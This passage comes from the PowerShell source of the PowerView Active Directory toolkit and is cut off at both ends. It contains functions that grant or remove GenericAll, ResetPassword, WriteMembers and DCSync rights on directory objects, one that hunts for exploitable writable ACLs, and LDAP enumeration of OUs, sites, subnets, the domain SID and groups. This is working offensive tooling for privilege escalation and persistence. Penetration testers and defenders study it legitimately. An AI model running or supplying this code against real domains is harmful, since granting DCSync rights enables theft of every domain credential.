$ACEs += New-Object
System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights,
$ControlType, $NewGUID, $InheritanceType
}
}
else {

$ADRights =
[System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
$ACEs += New-Object
System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights,
$ControlType, $InheritanceType
}

ForEach ($ACE in $ACEs) {


Write-Verbose "[Add-DomainObjectAcl] Granting principal $
($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $
($TargetObject.Properties.distinguishedname)"
$TargetEntry = $TargetObject.GetDirectoryEntry()
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
$TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetEntry.PsBase.CommitChanges()
}
}
catch {
Write-Verbose "[Add-DomainObjectAcl] Error granting principal $
($PrincipalObject.distinguishedname) '$Rights' on $
($TargetObject.Properties.distinguishedname) : $_"
}
}
}
}
}

function Remove-DomainObjectAcl {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$TargetIdentity,

[ValidateNotNullOrEmpty()]
[String]
$TargetDomain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$TargetLDAPFilter,

[ValidateNotNullOrEmpty()]
[String]
$TargetSearchBase,

[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$PrincipalIdentity,

[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]


[String]
$Rights = 'All',

[Guid]
$RightsGUID
)

BEGIN {
$TargetSearcherArguments = @{
'Properties' = 'distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['TargetDomain'])
{ $TargetSearcherArguments['Domain'] = $TargetDomain }
if ($PSBoundParameters['TargetLDAPFilter'])
{ $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
if ($PSBoundParameters['TargetSearchBase'])
{ $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $TargetSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone'])
{ $TargetSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential'])
{ $TargetSearcherArguments['Credential'] = $Credential }

$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain'])
{ $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone'])
{ $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential'])
{ $PrincipalSearcherArguments['Credential'] = $Credential }
$Principals = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principals) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
}

PROCESS {
$TargetSearcherArguments['Identity'] = $TargetIdentity
$Targets = Get-DomainObject @TargetSearcherArguments

ForEach ($TargetObject in $Targets) {

$InheritanceType =
[System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
$ControlType = [System.Security.AccessControl.AccessControlType]
'Allow'
$ACEs = @()

if ($RightsGUID) {
$GUIDs = @($RightsGUID)
}
else {
$GUIDs = Switch ($Rights) {

'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }

'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }

'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-


9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
}
}

ForEach ($PrincipalObject in $Principals) {


Write-Verbose "[Remove-DomainObjectAcl] Removing principal $
($PrincipalObject.distinguishedname) '$Rights' from $
($TargetObject.Properties.distinguishedname)"

try {
$Identity = [System.Security.Principal.IdentityReference]
([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)

if ($GUIDs) {
ForEach ($GUID in $GUIDs) {
$NewGUID = New-Object Guid $GUID
$ADRights =
[System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
$ACEs += New-Object
System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights,
$ControlType, $NewGUID, $InheritanceType
}
}
else {

$ADRights =
[System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
$ACEs += New-Object
System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights,
$ControlType, $InheritanceType
}

ForEach ($ACE in $ACEs) {


Write-Verbose "[Remove-DomainObjectAcl] Granting principal
$($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $
($TargetObject.Properties.distinguishedname)"
$TargetEntry = $TargetObject.GetDirectoryEntry()
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
$TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
$TargetEntry.PsBase.CommitChanges()
}
}
catch {
Write-Verbose "[Remove-DomainObjectAcl] Error removing
principal $($PrincipalObject.distinguishedname) '$Rights' from $
($TargetObject.Properties.distinguishedname) : $_"
}
}
}
}
}

function Find-InterestingDomainAcl {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ACL')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DomainName', 'Name')]
[String]
$Domain,

[Switch]
$ResolveGUIDs,

[String]
[ValidateSet('All', 'ResetPassword', 'WriteMembers')]
$RightsFilter,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$ACLArguments = @{}
if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] =
$ResolveGUIDs }
if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] =
$RightsFilter }
if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] =
$LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] =
$SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize']
= $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] =
$Credential }

$ObjectSearcherArguments = @{
'Properties' = 'samaccountname,objectclass'
'Raw' = $True
}
if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $ObjectSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone'])
{ $ObjectSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential'])
{ $ObjectSearcherArguments['Credential'] = $Credential }

$ADNameArguments = @{}
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] =
$Credential }

$ResolvedSIDs = @{}
}

PROCESS {
if ($PSBoundParameters['Domain']) {
$ACLArguments['Domain'] = $Domain
$ADNameArguments['Domain'] = $Domain
}

Get-DomainObjectAcl @ACLArguments | ForEach-Object {

if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete')


-or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match
'Allow'))) {

if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') {


if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) {
$IdentityReferenceName, $IdentityReferenceDomain,
$IdentityReferenceDN, $IdentityReferenceClass =
$ResolvedSIDs[$_.SecurityIdentifier.Value]

$InterestingACL = New-Object PSObject


$InterestingACL | Add-Member NoteProperty 'ObjectDN'
$_.ObjectDN
$InterestingACL | Add-Member NoteProperty 'AceQualifier'
$_.AceQualifier
$InterestingACL | Add-Member NoteProperty
'ActiveDirectoryRights' $_.ActiveDirectoryRights
if ($_.ObjectAceType) {
$InterestingACL | Add-Member NoteProperty
'ObjectAceType' $_.ObjectAceType
}
else {
$InterestingACL | Add-Member NoteProperty
'ObjectAceType' 'None'
}
$InterestingACL | Add-Member NoteProperty 'AceFlags'
$_.AceFlags
$InterestingACL | Add-Member NoteProperty 'AceType'
$_.AceType
$InterestingACL | Add-Member NoteProperty
'InheritanceFlags' $_.InheritanceFlags
$InterestingACL | Add-Member NoteProperty
'SecurityIdentifier' $_.SecurityIdentifier
$InterestingACL | Add-Member NoteProperty
'IdentityReferenceName' $IdentityReferenceName
$InterestingACL | Add-Member NoteProperty
'IdentityReferenceDomain' $IdentityReferenceDomain
$InterestingACL | Add-Member NoteProperty
'IdentityReferenceDN' $IdentityReferenceDN
$InterestingACL | Add-Member NoteProperty
'IdentityReferenceClass' $IdentityReferenceClass
$InterestingACL
}
else {
$IdentityReferenceDN = Convert-ADName -Identity
$_.SecurityIdentifier.Value -OutputType DN @ADNameArguments

if ($IdentityReferenceDN) {
$IdentityReferenceDomain =
$IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace
'DC=','' -replace ',','.'
$ObjectSearcherArguments['Domain'] =
$IdentityReferenceDomain
$ObjectSearcherArguments['Identity'] =
$IdentityReferenceDN

$Object = Get-DomainObject @ObjectSearcherArguments

if ($Object) {
$IdentityReferenceName =
$Object.Properties.samaccountname[0]
if ($Object.Properties.objectclass -match
'computer') {
$IdentityReferenceClass = 'computer'
}
elseif ($Object.Properties.objectclass -match
'group') {
$IdentityReferenceClass = 'group'
}
elseif ($Object.Properties.objectclass -match
'user') {
$IdentityReferenceClass = 'user'
}
else {
$IdentityReferenceClass = $Null
}

$ResolvedSIDs[$_.SecurityIdentifier.Value] =
$IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN,
$IdentityReferenceClass

$InterestingACL = New-Object PSObject


$InterestingACL | Add-Member NoteProperty
'ObjectDN' $_.ObjectDN
$InterestingACL | Add-Member NoteProperty
'AceQualifier' $_.AceQualifier
$InterestingACL | Add-Member NoteProperty
'ActiveDirectoryRights' $_.ActiveDirectoryRights
if ($_.ObjectAceType) {
$InterestingACL | Add-Member NoteProperty
'ObjectAceType' $_.ObjectAceType
}
else {
$InterestingACL | Add-Member NoteProperty
'ObjectAceType' 'None'
}
$InterestingACL | Add-Member NoteProperty
'AceFlags' $_.AceFlags
$InterestingACL | Add-Member NoteProperty 'AceType'
$_.AceType
$InterestingACL | Add-Member NoteProperty
'InheritanceFlags' $_.InheritanceFlags
$InterestingACL | Add-Member NoteProperty
'SecurityIdentifier' $_.SecurityIdentifier
$InterestingACL | Add-Member NoteProperty
'IdentityReferenceName' $IdentityReferenceName
$InterestingACL | Add-Member NoteProperty
'IdentityReferenceDomain' $IdentityReferenceDomain
$InterestingACL | Add-Member NoteProperty
'IdentityReferenceDN' $IdentityReferenceDN
$InterestingACL | Add-Member NoteProperty
'IdentityReferenceClass' $IdentityReferenceClass
$InterestingACL
}
}
else {
Write-Warning "[Find-InterestingDomainAcl] Unable to
convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-
ADName"
}
}
}
}
}
}
}

function Get-DomainOU {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.OU')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[String[]]
$Identity,

[ValidateNotNullOrEmpty()]
[String]
[Alias('GUID')]
$GPLink,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[String[]]
$Properties,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


[String]
$SecurityMasks,

[Switch]
$Tombstone,

[Alias('ReturnOne')]
[Switch]
$FindOne,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[Switch]
$Raw
)

BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] =
$Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks'])
{ $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
$OUSearcher = Get-DomainSearcher @SearcherArguments
}

PROCESS {
if ($OUSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^OU=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not
$PSBoundParameters['SearchBase'])) {

$IdentityDomain =
$IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -
replace ',','.'
Write-Verbose "[Get-DomainOU] Extracted domain
'$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$OUSearcher = Get-DomainSearcher @SearcherArguments
if (-not $OUSearcher) {
Write-Warning "[Get-DomainOU] Unable to retrieve domain
searcher for '$IdentityDomain'"
}
}
}
else {
try {
$GuidByteString = (-Join (([Guid]
$IdentityInstance).ToByteArray() | ForEach-Object
{$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}

if ($PSBoundParameters['GPLink']) {
Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in
the gpLink property"
$Filter += "(gplink=*$GPLink*)"
}

if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainOU] Using additional LDAP filter:
$LDAPFilter"
$Filter += "$LDAPFilter"
}

$OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)"
Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $
($OUSearcher.filter)"

if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() }


else { $Results = $OUSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
$OU = $_
}
else {
$OU = Convert-LDAPProperty -Properties $_.Properties
}
$OU.PSObject.TypeNames.Insert(0, 'PowerView.OU')
$OU
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainOU] Error disposing of the Results
object: $_"
}
}
$OUSearcher.dispose()
}
}
}

function Get-DomainSite {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.Site')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[String[]]
$Identity,

[ValidateNotNullOrEmpty()]
[String]
[Alias('GUID')]
$GPLink,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[String[]]
$Properties,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


[String]
$SecurityMasks,

[Switch]
$Tombstone,

[Alias('ReturnOne')]
[Switch]
$FindOne,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[Switch]
$Raw
)

BEGIN {
$SearcherArguments = @{
'SearchBasePrefix' = 'CN=Sites,CN=Configuration'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] =
$Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks'])
{ $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
$SiteSearcher = Get-DomainSearcher @SearcherArguments
}

PROCESS {
if ($SiteSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not
$PSBoundParameters['SearchBase'])) {

$IdentityDomain =
$IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -
replace ',','.'
Write-Verbose "[Get-DomainSite] Extracted domain
'$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$SiteSearcher = Get-DomainSearcher @SearcherArguments
if (-not $SiteSearcher) {
Write-Warning "[Get-DomainSite] Unable to retrieve
domain searcher for '$IdentityDomain'"
}
}
}
else {
try {
$GuidByteString = (-Join (([Guid]
$IdentityInstance).ToByteArray() | ForEach-Object
{$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}

if ($PSBoundParameters['GPLink']) {
Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink
set in the gpLink property"
$Filter += "(gplink=*$GPLink*)"
}

if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainSite] Using additional LDAP filter:
$LDAPFilter"
$Filter += "$LDAPFilter"
}

$SiteSearcher.filter = "(&(objectCategory=site)$Filter)"
Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $
($SiteSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll()
}
else { $Results = $SiteSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {

$Site = $_
}
else {
$Site = Convert-LDAPProperty -Properties $_.Properties
}
$Site.PSObject.TypeNames.Insert(0, 'PowerView.Site')
$Site
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainSite] Error disposing of the Results
object"
}
}
$SiteSearcher.dispose()
}
}
}

function Get-DomainSubnet {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.Subnet')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[String[]]
$Identity,

[ValidateNotNullOrEmpty()]
[String]
$SiteName,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[String[]]
$Properties,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


[String]
$SecurityMasks,

[Switch]
$Tombstone,

[Alias('ReturnOne')]
[Switch]
$FindOne,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[Switch]
$Raw
)

BEGIN {
$SearcherArguments = @{
'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] =
$Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks'])
{ $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
$SubnetSearcher = Get-DomainSearcher @SearcherArguments
}

PROCESS {
if ($SubnetSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not
$PSBoundParameters['SearchBase'])) {

$IdentityDomain =
$IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -
replace ',','.'
Write-Verbose "[Get-DomainSubnet] Extracted domain
'$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$SubnetSearcher = Get-DomainSearcher @SearcherArguments
if (-not $SubnetSearcher) {
Write-Warning "[Get-DomainSubnet] Unable to retrieve
domain searcher for '$IdentityDomain'"
}
}
}
else {
try {
$GuidByteString = (-Join (([Guid]
$IdentityInstance).ToByteArray() | ForEach-Object
{$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}

if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter:
$LDAPFilter"
$Filter += "$LDAPFilter"
}

$SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)"
Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $
($SubnetSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results =
$SubnetSearcher.FindOne() }
else { $Results = $SubnetSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {

$Subnet = $_
}
else {
$Subnet = Convert-LDAPProperty -Properties $_.Properties
}
$Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet')

if ($PSBoundParameters['SiteName']) {

if ($Subnet.properties -and ($Subnet.properties.siteobject -


like "*$SiteName*")) {
$Subnet
}
elseif ($Subnet.siteobject -like "*$SiteName*") {
$Subnet
}
}
else {
$Subnet
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainSubnet] Error disposing of the
Results object: $_"
}
}
$SubnetSearcher.dispose()
}
}
}

function Get-DomainSID {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

$SearcherArguments = @{
'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }

$DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First


1 -ExpandProperty objectsid

if ($DCSID) {
$DCSID.SubString(0, $DCSID.LastIndexOf('-'))
}
else {
Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'"
}
}

function Get-DomainGroup {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssign
ments', '')]
[OutputType('PowerView.Group')]
[CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name',
'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,

[ValidateNotNullOrEmpty()]
[Alias('UserName')]
[String]
$MemberIdentity,

[Switch]
$AdminCount,

[ValidateSet('DomainLocal', 'NotDomainLocal', 'Global', 'NotGlobal',


'Universal', 'NotUniversal')]
[Alias('Scope')]
[String]
$GroupScope,

[ValidateSet('Security', 'Distribution', 'CreatedBySystem',


'NotCreatedBySystem')]
[String]
$GroupProperty,
[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[String[]]
$Properties,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

